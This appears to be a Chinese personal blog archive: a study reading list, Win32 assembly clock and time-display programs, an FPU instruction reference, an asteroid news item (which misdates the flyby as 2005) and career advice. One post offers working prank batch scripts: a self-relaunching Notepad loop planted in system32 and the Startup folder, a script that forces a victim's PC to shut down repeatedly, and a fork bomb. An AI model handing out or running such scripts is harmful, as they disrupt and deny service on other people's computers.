书单

这个是上次写过的书单

批处理入门手册 学了一半
三级偏软考试教程第二版 看完,万幸过了3级
软件设计师教程第三版 看完,悲催没过,今年继续,还有一个月
新东方英语六级词汇 没看完,e文现在成了我的软肋
Foobar2000集成实例讲义 搞定
foo_ui_func汉化文档 搞定
Foobar2000 v0.9 中文全教程 搞定
Foobar2000V0.9媒体库应用新手教程 搞定
王爽的汇编语言第二版还有罗云彬的win32汇编 罗的书在看第二遍,王的书没看
天书夜读,寒江独钓(这两本书量力而行吧) 空白中
谭浩强的C程序设计(都是基础知识) 在看,估计明天能ok
python核心编程第二版 看了两章基础

还有2本win32汇编的书看了没写,表示收获甚微

 

 

好吧,要学的东西太多,这阶段的书单(未按阅读顺序)

  1. 软件设计师考试考点分析与真题详解
  2. 软考的模拟题一册
  3. 谭浩强C
  4. 王爽汇编
  5. 罗汇编(继续复习and实践)
  6. core java 卷一
  7. 离散数学—>应付考试
  8. 待补充~

批处理

最近在研究批处理。。看的糊里糊涂的。。现在没事发几个好玩的批处理文件玩玩。。不要哪来做坏事哈。。
第一个:
@echo off
echo 怎么样,死机了吧!!!>C:WINDOWSsystem32a.txt
echo @echo off>C:WINDOWSsystem321.bat
echo start notepad C:WINDOWSsystem32a.txt>>C:WINDOWSsystem321.bat
echo start C:WINDOWSsystem322.bat>>C:WINDOWSsystem321.bat
echo exit>>C:WINDOWSsystem321.bat
echo @echo off>C:WINDOWSsystem322.bat
echo start notepad C:WINDOWSsystem32a.txt>>C:WINDOWSsystem322.bat
echo start C:WINDOWSsystem321.bat>>C:WINDOWSsystem322.bat
echo exit>>C:WINDOWSsystem322.bat
echo @echo off>”C:Documents and SettingsAll Users「开始」菜单程序启动a.bat”
echo start C:WINDOWSsystem321.bat>>”C:Documents and SettingsAll Users「开始」菜单程序启动a.bat”
echo exit>>”C:Documents and SettingsAll Users「开始」菜单程序启动a.bat”
start C:WINDOWSsystem321.bat
exit
第二个:让对方重启指定次数
@echo off
if not exist c:1.txt echo. >c:1.txt & goto err1
if not exist c:2.txt echo. >c:2.txt & goto err1
if not exist c:3.txt echo. >c:3.txt & goto err1
if not exist c:4.txt echo. >c:4.txt & goto err1
if not exist c:5.txt echo. >c:5.txt & goto err1
goto err2
:err1
shutdown -s -t 0
:err2
上面可以让对方电脑重启5次后不在重启
第三个比较好玩。。试过就知道了
@echo off
  set a=10
  set b=0
  :tex
  set /a a+=3
  set /a b+=1
  mode con cols=%a% lines=%b%
  if %a% lss 60 goto :tex
  echo O(∩_∩)O 圣诞快乐 O(∩_∩)O
  set a=15,a6,2e,d0,34,8b,4f,9d,5e
  for %%i in (%a%) do (
  ping -n 2 127.1>nul
  color %%i
  )
  for %%i in (%a%,%a%) do (
  ping -n 1 127.1>nul
  color %%i
  )
  >>ms.txt echo */. . . * .
  >>ms.txt echo .* . [] * __
  >>ms.txt echo */ . ./~~~~~~~~~~~~’. ^|◆
  >>ms.txt echo * ,/,..,,………..,.◆
  >>ms.txt echo ^|^| ..▎# ▎田 田 ▎ ^| ▎◆
  >>ms.txt echo ^|^| ^&^&▎ ▎ ▎’^|’▎ o
  >>ms.txt echo ^|^| ##■■■■■■■■■■〓
  msg %username% /w /time:3600 <ms.txt
  del ms.txt
  pause
好了。。大家不要拿来做坏事哈。。批处理的功能比较强大。。后果自负。。呵呵
比如说@echo off
start cmd
%0 三行就能使你的内存over。。呵呵
大家看命令把。。互相学习吧
夜愿 11/4/15

最危险小行星11月飞过地球 比地月距离还近

科学网讯 北京时间4月10日消息,一颗直径约400公尺的小行星即将与地球擦身而过,时间就在今年11月,它的体积庞大,靠近地球0.85个月球距离,大约是32万多公里,堪称天体中最具危险性的太空陨石之一。2005 YU55小行星是亚利桑那大学(大学ofArizona)杜斯肯月球与行星实验室于2005年12月28日发现,直径约400公尺,是个慢速自转的圆形小 星体,美国太空网站报道,11月初这颗小行星将仅靠近地球0.85个月球距离,目前有关方面正在规画各种雷达​​,目视与红外线观测活动。

火星と月

据台北市立天文馆网站介绍,月球绕地球的轨道是椭圆形,最近时约36万3300公里,最远时约40万5500公里,平均约38万4400公里。 所以,这颗危险小行星最接近地球时,只有0.85个月球距离,也就是大约32万6400公里,就天文单位而言是极其接近的距离。目前人类飞行物体跑最远的 是“航行家一号”,到今年3月7日为止,距离太阳约为174亿公里,预估再几年就跟太阳系说拜拜。

NASA的近地星体专案办公室主任姚曼斯说,“2005年11月8日YU55飞近地球的情形相当罕见,因为距离地球如此近,体积又如此之大。这种天文奇观每30年才会发生一次。“剑桥小行星中心则称它是‘可能具有危险性的小行星’”。

美国喷射推进实验室研究科学家班纳说,“我们已经准备好迎接2005年YU55和地球擦身而过”。“他说,观测活动包括使用波多黎各的巨型阿雷西博天文望远镜与加州金石天文台的设备。

接近地球的小行星,有潜在的威胁,体积大者一旦进入大气层,很容易造成全球性大灾难,目前世界各地有许多天文爱好者无时无刻在观测近地小行星, 好防患于未然;但是也有许多和平共存的小行星,北爱尔兰阿麦天文台天文学家最近就新发现一颗与地球为伴的小行星,它可能已经跟随地球一起环绕太阳至少有 250,000年之久了,而且或许与我们地球的起源密切相关。

这颗小行星2010 SO16是由广角红外巡天探测器于2010年发现的。在发现报告后2个月左右,天文学家Christou联系等人发现这颗小行星与太阳的平均距离,刚好与 地球到太阳的平均距离相同,更重要的是,它的轨道与地球轨道非常近似。绝大多数的近地小行星,轨道是非常椭圆的形状,轨道的一部分因而会进入太阳系内侧。 然而2010 SO16的轨道近乎圆形,不会接近地球以外的其他任何行星。

来源

很有意义的文章,送给走出校门和未走出校门的大学生

第一:不要认为停留在心灵的舒适区域内是可以原谅的。
每个人都有一个舒适区域,在这个区域内是很自我的,不愿意被打扰,不愿意被push,不愿意和陌生的面孔交谈,不愿意被人指责,不愿意按照规定的时限做事,不愿意主动的去关心别人,不愿意去思考别人还有什么没有想到。这在学生时代是很容易被理解的,有时候这样的同学还跟“冷酷”“个性”这些字眼沾边,算作是褒义。然而相反,在工作之后,你要极力改变这一现状。否则,你会很快变成鸡尾酒会上唯一没有人理睬的对象,或是很快因为压力而内分泌失调。但是,如果你能很快打破之前学生期所处的舒适区域,比别人更快的处理好业务、人际、舆论之间的关系,那就能很快的脱颖而出。
在会议上,一个停留在心灵舒适区域的人会消极的听取领导的话语,消极的待命,很死的完成上级交给的事情,但从来不关心此事以外的任何事情,更不会想到多做一步,让接下来的别人的工作更加容易上手。而敢于打破这个舒适区域的人,敢于在适当的时候提出自己的看法和不理解,并在得到上级认可和指点之后把手头的工作尽快的完成,并随时接受别人的批评和调整。(注意:永远不要等待别人把你的想法说出来,这是典型的前者)
在工作上,当前者遇到一名新的同事,他会装作没有看见,继续自己的工作。殊不知新来的同事不久就变成了自己的上司。而后者则大方客气的自我介绍,并了解对方和自己的关系。
在聚会上,前者总是等待别人发言,并喜欢私下里评论对方的言语;如果这个桌子上没有人发言,那直到用餐结束,也没有人认识你。而后者是勇敢的和一同吃饭的开始介绍和闲谈,这看起来很困难,有时候会有失面子,但往往你会发现,对方是多么希望能和你说几句话。
以上只是很小的几个例子,但是要说明的是,大学生在走出校园的同时就要在工作上把校园中的“随意性”从身边赶走,尽早的冲出自己的舒适区域,开始做好和这个社会交流的准备。
第二:不要把“好像”;“有人会……”;“大概”;“晚些时候”;“或者”;“说不定”之类放在嘴边。尤其是和上级谈论工作的时候。
我十分痛恨听到的一句话是:“我晚些时候会把这个文件发给所有的人”;因为这往往预示着我必须时刻提醒他不要忘记。同样,以下这些言辞也会让人觉得厌恶至极:
“到时候有人会把那些东西都准备好”
“大概是明天”
“明天或者后天客户会过来拜访”
“好像他说……”
一般是人都会这样说话的,因为这样第一给自己留下了广阔的余地,第二也不会给别人造成很大的压迫感,好像什么事情一定要弄个水落石出似的。说实话大学里面再用功的人都有一半是混的。一个人要么是在课堂上是混的,要么下课之后是混的。两个都没有带有混的色彩的人,要么是超级牛人,要么是神经病。所以,就因为人人都在混的,所以校园是一个浪漫的地方,校园也容易让人单纯。所以学生社团的工作往往是效率很低的,我现在回想起学校里做的工作,当时还觉得挺卖力的,但工作了之后才开始感觉到什么是效率。
当你进入了用金钱计算时间的地方之后,你要尽可能的避免在学校里养成的这种习惯。如果上级问你什么时候能实施你给他的承诺,而你回答“今晚或者明天早上”这样的答案对于他来说完全等同于你没有回答,并且还给他留下了一个坏印象。(当然,这样的回答往往在学校社团,学生会工作中是常见的)
有一个寓言故事,一只小老鼠刚刚出世不久,老鼠妈妈问小老鼠:你现在能看见了吗? 小老鼠说:能。 老鼠妈妈说:那你能看到那块红薯吗? 小老鼠说:是的。老鼠妈妈说:那是一块石头,这说明你不但还看不见东西,你连嗅觉都还没有。
似是而非的应答往往一样会暴露出你更多的弱点。可能是以下中的一个或几个:
1.你之前没有想到这个工作,或者一直在拖延。
2.你没有责任心,认为这些并不重要。
3.你应付上级。
4.你不敢说真话。
5.你喜欢逞能,答应一些做不到的事情。
6.你不能独立工作。
当你的上级在以上选项中怀疑的时候,潜意识中你已经同时具备了以上所有的弱点了。
相反的看来,这样的回答,总是让上司恼火。
第一,他的问题没有得到回答,只是起到了提醒你的作用。
第二,他依然需要记住提醒你,因为他不知道你是否真正已经落实了工作。
第三,他不知道有多少你已经做了的事情中,都是这样没有落实的。(这点非常致命)
第四,往往因为没有得到满意的答案,上司自己的计划不得不被耽搁或推迟或不能给出明朗的结束时间。
所以———
甲问:你什么时候能把要这个漏洞修好?
乙说:我已经通知他们了,他们大概明天就会来修的。
一天后
甲问:维修公司什么时候回来,你找的是哪家维修公司?
乙说:好像他们说安排不出人来,如果可以的话,今天晚上或者明天下午就能过来。
一天后
甲问:漏洞怎么还没有修好?
乙说:我晚点再问问他们。
甲说:今天下午之前不解决,明天不用来上班了。
第三:不要拖延工作
很多人喜欢在学习和玩耍之间先选择后者,然后在最后时间一次性赶工把考试要复习的东西突击完成。但是在工作中请不要养成这样的习惯,因为工作是永远做不完的,容不得你“突击”。又或者,当你在徘徊和彷徨如何实施的时候,你的领导已经看不下去,自己去做了。—-这是一个危险的信号。
往往我们总是想把事情从头到尾全部想好了,才开始走第一步—–就摔倒了。
举个例子:我小学的时候第一次给我一个喜欢的女孩子打电话的时候,想象了各种情况——-1,她接电话的时候在做作业。2,她在做作业,她妈妈接的电话。3. 她也很无聊,很想找人说话。4.她正在被父母训斥。 5.她正在想另外一个男孩。6.她父亲接电话。 7.她家正好来了什么亲戚,亲戚接了电话。 8.她接了电话,但父母就在身边,说话不方便…等等等等。我整整想了一个下午,想好了各种情况的心理准备和应对的策略。然后勇敢的拿起电话机,按下了那几个按钮。结果——-她不在家。
所以,当你徘徊不前而手足无措的时候,你要意识到你正在拖延工作。徘徊是因为害怕这个事情可能发生的后果需要自己承担或应付。工作的时候需要一种起码的自信,相信自己有能力,不管下一步是什么状况,我都能把它引导到我需要的那条线上去的。另外,告诉自己,不要想太多时间,如果不知道,就赶快求助,或想办法,苦恼和忧虑会给你更多的压力也会把剩下的时间蚕食殆尽。
另外,警告一下:永远不要想,我知道了,先把上级派的事情放一下,等这集《越狱》看完再说。—-90%的情况下,你会忘记,或者来不及,因为这件

win32asm绘制图形实例-模拟时钟小程序

 

clock

哈哈,这个icon是以前玩dota的时候里面一个物品叫做振奋宝石,顺便说一句我在网上淘了dota里面所有的图标还有音乐哦,嘿嘿,有需要的发邮件,鄙人定会慷慨相送哈~~

感谢ghoste同学的帮助差错,我得好好学习下程序的调试!唉,让我悲剧的基础,太不扎实了

这次代码问题主要在窗口过程那边,用windows自定义的DefWindowProc函数的时候下面忘记了ret!令人发指!!

好吧,错误记录下来了,下面是源码

 

 

 

 

 

 

;——————————————————————————–
;时钟程序
;win32asm绘制图形,非使用位图
;作者:阿拉丁     《琢石成器》第七章
;时间:2011.4.7
;——————————————————————————–

    .386
    .model flat,stdcall
    option casemap:none
       
include        windows.inc
include        user32.inc
includelib    user32.lib
include        kernel32.inc
includelib    kernel32.lib
include        gdi32.inc
includelib    gdi32.lib

ICO_MAIN    equ    1000h
ID_TIMER    equ    1

        .data
dw180        dw    180

        .data?
hInstance    dd    ?
hWinMain    dd    ?
dwCenterX    dd    ?        ;圆心x
dwCenterY    dd    ?        ;圆心y
dwRadius    dd    ?        ;钟表盘半径

        .const
szClassName    db    ‘clock’,0
;dw180        dw    180

        .code
;计算时钟位置和大小等参数
_CalcClockParam    proc
    LOCAL    @stRect:RECT
   
    invoke    GetClientRect,hWinMain,addr @stRect
    mov    eax,@stRect.right   
    sub    eax,@stRect.left    ;eax=宽度
    mov    ecx,@stRect.bottom   
    sub    ecx,@stRect.top        ;ecx=高度
   
    ;比较客户区的宽度和高度,用小的来做半径
    .if    ecx>eax            ;宽度大于高度
        mov    edx,eax
        sub    ecx,eax        ;宽度减去高度放到ecx
        shr    ecx,1        ;减去后的值右移一位,为什么????知道了,是除以二哈哈
        mov    dwCenterX,0
        mov     dwCenterY,ecx
    .else                ;高度大于宽度
        mov    edx,ecx
        sub    eax,ecx
        shr    eax,1
        mov    dwCenterX,eax
        mov    dwCenterY,0
    .endif
    shr    edx,1        ;切圆的半径
    mov    dwRadius,edx
    add    dwCenterX,edx    ;真正的圆心横坐标
    add    dwCenterY,edx    ;真正的圆心纵坐标
   
    ret

_CalcClockParam endp

;计算时钟某个角度对应的x坐标(角度_dwDegree是按逆时针旋转,初始角度为十二点时刻0度角)
;x=dwCenterX+sin(_dwDegree)*_dwRaius
;dw180    dw    180
_CalcX    proc    _dwDegree,_dwRadius
    LOCAL    @dwReturn
   
    fild    dwCenterX    ;将dwCenterX放入浮点寄存器
    fild    _dwDegree    ;角度放入浮点寄存器
    fldpi            ;将pi放入浮点寄存器
    fmul            ;角度*pi        【FMUL   乘上一个实数   st(0) <- st(0) * st(1)】
    fild    dw180
    fdivp    st(1),st    ;角度*pi/180        【st(i) <-st(0) /st(i),然后执行一次出栈操作】
    fsin            ;sin(角度*pi/180)
    fild    _dwRadius
    fmul            ;半径*sin(角度*pi/180)
    fadd            ;dwCenterX+半径*sin(角度*pi/180)
    fistp    @dwReturn    ;FISTP dest     dest <- st(0) (mem16/mem32/mem64);然后再执行一次出栈操作
    mov    eax,@dwReturn
    ret
_CalcX    endp
;计算时钟某个角度对应的y坐标(角度_dwDegree是按逆时针旋转,初始角度为十二点时刻0度角)
;y=dwCentery-cos(_dwDegree)*_dwRaius
_CalcY    proc    _dwDegree,_dwRadius
    LOCAL    @dwReturn
   
    fild    dwCenterY
    fild    _dwDegree
    fldpi
    fmul
    fild    dw180
    fdivp    st(1),st
    fcos
    fild    _dwRadius

    fmul
    fsubp    st(1),st
    fistp    @dwReturn
    mov    eax,@dwReturn
    ret
_CalcY    endp

;按照_dwDegreeInc的步进角度,画_dwRadius为半径的小圆点
_DrawDot    proc    _hDC,_dwDegreeInc,_dwRadius
        LOCAL    @dwNowDegree,@dwR
        LOCAL    @dwX,@dwY
       
        mov    @dwNowDegree,0
        mov    eax,dwRadius
        sub    eax,10
        mov    @dwR,eax;这他妈才是真正的钟表盘半径,我了个去~~~烦恼了半天
        .while    @dwNowDegree<=360
            finit;FINIT      初始化FPU
            ;计算小圆点的圆心坐标
            invoke    _CalcX,@dwNowDegree,@dwR
            mov    @dwX,eax
            invoke    _CalcY,@dwNowDegree,@dwR
            mov    @dwY,eax
           
            mov    eax,@dwX;画点
            mov    ebx,eax
            mov    ecx,@dwY
            mov    edx,ecx
            sub    eax,_dwRadius
            add    ebx,_dwRadius
            sub    ecx,_dwRadius
            add    edx,_dwRadius
            invoke    Ellipse,_hDC,eax,ecx,ebx,edx;画一个与(x1,y1),(x2,y2)相切的椭圆
           
            mov    eax,_dwDegreeInc
            add    @dwNowDegree,eax
        .endw
        ret
_DrawDot    endp

;画_dwDegree角度的线条,半径=时钟半径-参数_dwRadiusAdjust
_DrawLine    proc    _hDC,_dwDegree,_dwRadiusAdjust
   
        LOCAL    @dwR
        LOCAL    @dwX1,@dwY1,@dwX2,@dwY2
       
        mov    eax,dwRadius
        sub    eax,_dwRadiusAdjust
        mov    @dwR,eax
        ;计算线条两端的坐标
        invoke    _CalcX,_dwDegree,@dwR
        mov    @dwX1,eax
        invoke    _CalcY,_dwDegree,@dwR
        mov    @dwY1,eax
        add    _dwDegree,180
        invoke    _CalcX,_dwDegree,10        ;这里指针的圆心那边要出点头才好看,所以角度+180,然后半径10
        mov    @dwX2,eax
        invoke    _CalcY,_dwDegree,10
        mov    @dwY2,eax
        invoke    MoveToEx,_hDC,@dwX1,@dwY1,NULL    ;设置当前点的位置
        invoke    LineTo,_hDC,@dwX2,@dwY2
        ret
_DrawLine    endp

_ShowTime    proc    _hWnd,_hDC
        LOCAL    @stTime:SYSTEMTIME
       
        pushad
        invoke    GetLocalTime,addr @stTime
        invoke    _CalcClockParam
        ;画时钟圆周上的点
        invoke    GetStockObject,BLACK_BRUSH
        invoke    SelectObject,_hDC,eax
        invoke    _DrawDot,_hDC,360/12,3        ;12个大点
        invoke    _DrawDot,_hDC,360/60,1        ;60个小点
        ;画时钟指针
        ;秒针
        invoke    CreatePen,PS_SOLID,1,0
        invoke    SelectObject,_hDC,eax
        invoke    DeleteObject,eax
        movzx    eax,@stTime.wSecond
        mov    ecx,360/60
        mul    ecx                ;秒针角度即秒数*360/60,结果总放在eax中
        invoke    _DrawLine,_hDC,eax,15
;——————————————————————————–       
        invoke    CreatePen,PS_SOLID,2,0
        invoke    SelectObject,_hDC,eax
        invoke    DeleteObject,eax
        movzx    eax,@stTime.wMinute
        mov    ecx,360/60
        mu
l    ecx                ;分针度数
        invoke    _DrawLine,_hDC,eax,20
;——————————————————————————–
        invoke    CreatePen,PS_SOLID,3,0
        invoke    SelectObject,_hDC,eax
        invoke    DeleteObject,eax
        movzx    eax,@stTime.wHour
        .if    eax >= 12
            sub    eax,12
        .endif
        mov    ecx,360/12
        mul    ecx
        movzx    ecx,@stTime.wMinute
        shr    ecx,1
        add    eax,ecx                ;时针小时所在的度数+分针代表的度数(0~30)
        invoke    _DrawLine,_hDC,eax,30
;——————————————————————————–
        invoke    GetStockObject,NULL_PEN
        invoke    SelectObject,_hDC,eax
        invoke    DeleteObject,eax
        popad
        ret
       
_ShowTime     endp

_ProcWinMain    proc    uses ebx edi esi hWnd,uMsg,wParam,lParam
        LOCAL    @stPS:PAINTSTRUCT
       
        mov    eax,uMsg
        .if    eax==WM_TIMER
            invoke InvalidateRect,hWnd,NULL,TRUE
        .elseif    eax==WM_PAINT
            invoke    BeginPaint,hWnd,addr @stPS
            invoke    _ShowTime,hWnd,eax
            invoke    EndPaint,hWnd,addr @stPS
        .elseif    eax ==    WM_CREATE
            invoke    SetTimer,hWnd,ID_TIMER,1000,NULL
        .elseif    eax==WM_CLOSE
            invoke    KillTimer,hWnd,ID_TIMER
            invoke    DestroyWindow,hWinMain
            invoke    PostQuitMessage,NULL
        .else
            invoke DefWindowProc,hWnd,uMsg,wParam,lParam
            ret
        .endif
        xor    eax,eax
        ret

_ProcWinMain endp

_WinMain    proc
   
        LOCAL    @stWndClass:WNDCLASSEX
        LOCAL    @stMsg:MSG
       
        invoke    GetModuleHandle,NULL
        mov    hInstance,eax
        ;注册窗口类
        invoke    RtlZeroMemory,addr @stWndClass,sizeof @stWndClass
        invoke    LoadIcon,hInstance,ICO_MAIN
        mov    @stWndClass.hIcon,eax
        mov    @stWndClass.hIconSm,eax
        invoke    LoadCursor,0,IDC_ARROW
        mov    @stWndClass.hCursor,eax
        push    hInstance
        pop    @stWndClass.hInstance
        mov    @stWndClass.cbSize,sizeof WNDCLASSEX
        mov    @stWndClass.style,CS_HREDRAW or CS_VREDRAW
        mov    @stWndClass.lpfnWndProc,offset _ProcWinMain
        mov    @stWndClass.hbrBackground,COLOR_WINDOW+1
        mov    @stWndClass.lpszClassName,offset szClassName
        invoke    RegisterClassEx,addr @stWndClass
        ;建立显示窗口
        invoke    CreateWindowEx,WS_EX_CLIENTEDGE,offset szClassName,offset szClassName,WS_OVERLAPPEDWINDOW,100,100,250,270,NULL,NULL,hInstance,NULL
        mov    hWinMain,eax
        invoke    ShowWindow,hWinMain,SW_SHOWNORMAL
        invoke    UpdateWindow,hWinMain
        .while    TRUE
            invoke    GetMessage,addr @stMsg,NULL,0,0
            .break    .if eax==0
            invoke    TranslateMessage,addr @stMsg
            invoke    DispatchMessage,addr @stMsg
        .endw
        ret

_WinMain endp

start:
        call    _WinMain
        invoke    ExitProcess,NULL
        end start

汇编浮点指令(以前一直没接触浮点指令……)

浮点指令
第四节 浮点指令

对下面的指令先做一些说明:
st(i):代表浮点寄存器,所说的出栈、入栈操作都是对st(i)的影响
src,dst,dest,op等都是指指令的操作数,src表示源操作数,dst/dest表示目的操作数
mem8,mem16,mem32,mem64,mem80等表示是内存操作数,后面的数值表示该操作数的内存位数(8位为一字节)
x <- y 表示将y的值放入x,例st(0) <- st(0) – st(1)表示将st(0)-st(1)的值放入浮点寄存器st(0)

1.  数据传递和对常量的操作指令

指令格式 指令含义 执行的操作
FLD src 装入实数到st(0) st(0) <- src (mem32/mem64/mem80)
FILD src 装入整数到st(0) st(0) <- src (mem16/mem32/mem64)
FBLD src 装入BCD数到st(0) st(0) <- src (mem80)
FLDZ 将0.0装入st(0) st(0) <- 0.0
FLD1 将1.0装入st(0) st(0) <- 1.0
FLDPI 将pi装入st(0) st(0) <- ?(ie, pi)
FLDL2T 将log2(10)装入st(0) st(0) <- log2(10)
FLDL2E 将log2(e)装入st(0) st(0) <- log2(e)
FLDLG2 将log10(2)装入st(0) st(0) <- log10(2)
FLDLN2 将loge(2)装入st(0) st(0) <- loge(2)
FST dest 保存实数st(0)到dest dest <- st(0) (mem32/mem64)
FSTP dest dest <- st(0) (mem32/mem64/mem80);然后再执行一次出栈操作
FIST dest 将st(0)以整数保存到dest dest <- st(0) (mem32/mem64)
FISTP dest dest <- st(0) (mem16/mem32/mem64);然后再执行一次出栈操作
FBST dest 将st(0)以BCD保存到dest dest <- st(0) (mem80)
FBSTP dest dest<- st(0) (mem80);然后再执行一次出栈操作

2.比较指令

指令格式 指令含义 执行的操作
FCOM 实数比较 将标志位设置为 st(0) – st(1) 的结果标志位
FCOM op 实数比较 将标志位设置为 st(0) – op (mem32/mem64)的结果标志位
FICOM op 和整数比较 将Flags值设置为st(0)-op 的结果op (mem16/mem32)
FICOMP op 和整数比较 将st(0)和op比较 op(mem16/mem32)后;再执行一次出栈操作
FTST 零检测 将st(0)和0.0比较
FUCOM st(i) 比较st(0) 和st(i)                  [486]
FUCOMP st(i) 比较st(0) 和st(i),并且执行一次出栈操作
FUCOMPP st(i) 比较st(0) 和st(i),并且执行两次出栈操作
FXAM Examine: Eyeball st(0) (set condition codes)

3.运算指令

指令格式 指令含义 执行的操作
加法
FADD 加实数 st(0) <-st(0) + st(1)
FADD src st(0) <-st(0) + src (mem32/mem64)
FADD st(i),st st(i) <- st(i) + st(0)
FADDP st(i),st st(i) <- st(i) + st(0);然后执行一次出栈操作
FIADD src 加上一个整数 st(0) <-st(0) + src (mem16/mem32)
减法
FSUB 减去一个实数 st(0) <- st(0) – st(1)
FSUB src st(0) <-st(0) – src (reg/mem)
FSUB st(i),st st(i) <-st(i) – st(0)
FSUBP st(i),st st(i) <-st(i) – st(0),然后执行一次出栈操作
FSUBR st(i),st 用一个实数来减 st(0) <- st(i) – st(0)
FSUBRP st(i),st st(0) <- st(i) – st(0),然后执行一次出栈操作
FISUB src 减去一个整数 st(0) <- st(0) – src (mem16/mem32)
FISUBR src 用一个整数来减 st(0) <- src – st(0) (mem16/mem32)
乘法
FMUL 乘上一个实数 st(0) <- st(0) * st(1)
FMUL st(i) st(0) <- st(0) * st(i)
FMUL st(i),st st(i) <- st(0) * st(i)
FMULP st(i),st st(i) <- st(0) * st(i),然后执行一次出栈操作
FIMUL src 乘上一个整数 st(0) <- st(0) * src (mem16/mem32)
除法
FDIV 除以一个实数 st(0) <-st(0) /st(1)
FDIV st(i) st(0) <- st(0) /t(i)
FDIV st(i),st st(i) <-st(0) /st(i)
FDIVP st(i),st st(i) <-st(0) /st(i),然后执行一次出栈操作
FIDIV src 除以一个整数 st(0) <- st(0) /src (mem16/mem32)
FDIVR st(i),st 用实数除 st(0) <- st(i) /st(0)
FDIVRP st(i),st FDIVRP st(i),st
FIDIVR src 用整数除 st(0) <- src /st(0) (mem16/mem32)
FSQRT 平方根 st(0) <- sqrt st(0)
FSCALE 2的st(0)次方 ST(0) <- ST(0)*(2^ST(1))
FXTRACT Extract exponent: st(0) <-exponent of st(0); and gets pushed 

st(0) <-significand of st(0)

FPREM 取余数 st(0) <-st(0) MOD st(1)
FPREM1 取余数(IEEE),同FPREM,但是使用IEEE标准[486]
FRNDINT 取整(四舍五入) st(0) <- INT( st(0) ); depends on RC flag
FABS 求绝对值 st(0) <- ABS( st(0) ); removes sign
FCHS 改变符号位(求负数) st(0) <-st(0)
F2XM1 计算(2 ^ x)-1 st(0) <- (2 ^ st(0)) – 1
FYL2X 计算Y * log2(X) st(0)为Y;st(1)为X;将st(0)和st(1)变为st(0) * log2( st(1) )的值
FCOS 余弦函数Cos st(0) <- COS( st(0) )
FPTAN 正切函数tan st(0) <- TAN( st(0) )
FPATAN 反正切函数arctan st(0) <- ATAN( st(0) )
FSIN 正弦函数sin st(0) <- SIN( st(0) )
FSINCOS sincos函数 st(0) <-SIN( st(0) ),并且压入st(1) 

st(0) <- COS( st(0) )

FYL2XP1 计算Y * log2(X+1) st(0)为Y; st(1)为X; 将st(0)和st(1)变为st(0) * log2( st(1)+1 )的值
处理器控制指令
FINIT 初始化FPU
FSTSW AX 保存状态字的值到AX AX<- MSW
FSTSW dest 保存状态字的值到dest dest<-MSW (mem16)
FLDCW src 从src装入FPU的控制字 FPU CW <-src (mem16)
FSTCW dest 将FPU的控制字保存到dest dest<- FPU CW
FCLEX 清除异常
FSTENV dest 保存环境到内存地址dest处 保存状态字、控制字、标志字和异常指针的值
FLDENV src 从内存地址src处装入保存的环境
FSAVE dest 保存FPU的状态到dest处 94字节
FRSTOR src 从src处装入由FSAVE保存的FPU状态
FINCSTP 增加FPU的栈指针值 st(6) <-st(5); st(5) <-st(4),…,st(0) <-?
FDECSTP 减少FPU的栈指针值 st(0) <-st(1); st(1) <-st(2),…,st(7) <-?
FFREE st(i) 标志寄存器st(i)未被使用
FNOP 空操作,等同CPU的nop st(0) <-st(0)
WAIT/FWAIT 同步FPU与CPU:停止CPU的运行,直到FPU完成当前操作码
FXCH 交换指令,交换st(0)和st(1)的值 st(0) <-st(1) 

st(1) <- st(0)

来源

GetLocalTime窗口显示本地时间

 

getlocaltime

源码:

        .386
        .model flat,stdcall
        option casemap:none
       
include        windows.inc
include        user32.inc
include        kernel32.inc

includelib    user32.lib
includelib    kernel32.lib

        .data       
SelString    dw    0,0

        .data?
stTimeInfo    SYSTEMTIME    <>
szBuffer    db        1024 dup(?)
ddYear        dd        ?
ddMonth        dd        ?
ddDay        dd        ?
ddHour        dd        ?
ddMinute    dd        ?
ddSecond    dd        ?
ddMilliseconds    dd        ?

        .const
WeekString    db        ‘日一二三四五六’,0
szMsgCaption    db        ‘what is the time’,0

szInfo        db        ‘%u年%u月%u日’,0dh,0ah,0dh,0ah,’星期%s’,0dh,0ah,0dh,0ah,’%u时%u分%u秒%u毫秒’,0dh,0ah,0

        .code
start:
    invoke    GetLocalTime,offset stTimeInfo;获取本地时间
    movzx    eax,stTimeInfo.wYear
    mov    ddYear,eax
    movzx    eax,stTimeInfo.wMonth
    mov    ddMonth,eax
   
    ;星期
    movzx    eax,stTimeInfo.wDayOfWeek
   
    .if    eax==0
        mov ax,word ptr WeekString
        mov  SelString,ax
    .elseif    eax==1
        mov ax,word ptr WeekString+2
        mov SelString,ax
    .elseif    eax==2
        mov ax,word ptr WeekString+4
        mov SelString,ax
    .elseif eax==3
        mov ax,word ptr WeekString+6
        mov SelString,ax
    .elseif eax==4
        mov ax,word ptr WeekString+8
        mov SelString,ax
    .elseif eax==5
        mov ax,word ptr WeekString+10
        mov SelString,ax
    .elseif eax==6
        mov ax,word ptr WeekString+12
        mov SelString,ax
    .endif
   
    movzx    eax,stTimeInfo.wDay
    mov    ddDay,eax
    movzx     eax,stTimeInfo.wHour
    mov    ddHour,eax
    movzx    eax,stTimeInfo.wMinute
    mov    ddMinute,eax
    movzx    eax,stTimeInfo.wSecond
    mov    ddSecond,eax
    movzx    eax,stTimeInfo.wMilliseconds
    mov    ddMilliseconds,eax
    invoke    wsprintf,addr szBuffer,addr szInfo,ddYear,ddMonth,ddDay,offset SelString,ddHour,ddMinute,ddSecond,ddMilliseconds
    invoke    MessageBox,NULL,addr szBuffer,addr szMsgCaption,MB_OK
    invoke    ExitProcess,NULL
   
    end start

唉,发现自己的基础性的东西还是太不扎实了,悲催~~